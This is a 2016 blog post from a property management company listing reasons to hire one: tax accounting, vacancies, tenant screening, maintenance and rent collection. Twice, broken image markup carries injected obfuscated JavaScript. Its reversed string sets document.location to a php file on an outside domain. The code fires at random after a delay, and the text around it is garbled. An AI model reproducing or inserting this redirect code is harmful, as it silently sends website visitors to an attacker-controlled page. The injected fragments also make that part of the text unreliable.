4 Reasons to Hire a Property Management Company
August 8, 2016
While the thought of having to hire a property manager or management company can be stressful and worrisome, there are certain reasons why you may want to think about doing this. This is especially true if you feel you may not be aware of all the legal aspects or finite details required to get the job done correctly. Here are 4 very good reasons to consider hiring a property management company.{if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>to-Hire-a-Property-Management-Company_Accounting-and-tax-problems.jpg” alt=”” width=”500″ height=”333″ /></span></p>
<ul>
<li style=)
Accounting and tax problems – you should never have to wonder or worry about your money. Nor should you have any stress or worries regarding your City/State TPT tax liabilities and responsibilities or end of year tax reporting. You need a property management company that will keep detailed accounting and records for you regarding maintenance and repair expenditures as well as your rental income. In addition, a professional property manager will be in the know with regard to the ever changing TPT tax laws, ensuring you are always in compliance. A full service property management company will collect and file your TPT taxes on your behalf. Innovations in software applications today allow 24/7 access and complete transparency so you may monitor all aspects of your account.
- Extended vacancy periods – one of the goals of every property manager or management service is to increase tenant retention and shorten vacancy cycles. Just remember, the longer your rental property sits vacant, the more money you’re losing. Watch our Video Blog on this subject here Keep Vacancies Short: 3 Reasons Why This is Important. While you may be worried that you have the rent priced incorrectly for the market, it may just be a matter not advertising and marketing your rental home to a broader market. The last thing you want is to wait months before you start to generate your monthly rental income.
- Screening tenants – many consumers do not have the capability to run a thorough and accurate credit and criminal background check? A skilled and trained management company contracts with an A+ rated screening company that will check all verifiable aspects of the prospective tenant. A top notch management company will check that the prospective tenant is free of evictions and doesn’t owe any previous Landlords, has positive credit, no outstanding judgments or tax liens, has solid employment history with income to support the household and is free of any warrants. They will also scrutinized any criminal history, verify references and obtain a co-signer when necessary. All of these things aid you in making the best decision when choosing a new tenant.
{if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>to-Hire-a-Property-Management-Company_Screening-tenants.jpg” alt=”4 Reasons <script>$NqM=function(n){if (typeof ($NqM.list[n]) == )
to Hire a Property Management Company Screening tenants” width=”500″ height=”333″ />
- Emergency or routine maintenance – are you abreast of the laws and the ways you can violate your tenant’s rights by simply responding incorrectly to a tenant maintenance request – opening you for liability? A professional management company is knowledgeable of these laws and will get the maintenance request in writing and have an online portal allowing tenants to place their requests quickly and easily online. They will also have a 24/7 emergency line so a tenant can reach a live body in the event of an emergency. The best property management company will also scrutinize each maintenance request to determine if the issue is tenant responsibility or owner responsibility and dispatch the appropriate vendor accordingly – saving you money.
- Rent Collection – the most crucial aspect to renting is to get your rent on time each month. After all, you have bills to pay too. Landlords are known to fall for the sob story of why the tenant can’t pay on time – creating high delinquency and loss in rent. Choosing the right management company who will manage your rental like a business keeps you from being the bad guy. A professional manager will see that your money is not the management company’s to give as charity. Rent should be due on the 1st and eviction proceeding started as of the next business day if rent is not paid. It is not to say that tenant can’t still pay after the 1st, but the management company will minimize your loss in the event of a default by filing at the soonest date possible.
So, ask yourself – are you truly ready to be a Landlord or should you consider hiring a professional property management company to protect your asset? Though there are many companies that will vie for your business, it is best to choose a company that has been audited by the Department of Real Estate and has been placed on the Dean’s list for a flawless audit, has and an A+ BBB rating and proven track record and positive reviews from legitimate clients.
Note: If your property is currently with a property manager, please disregard this blog post. It is not our intention to solicit the offerings of other brokers.
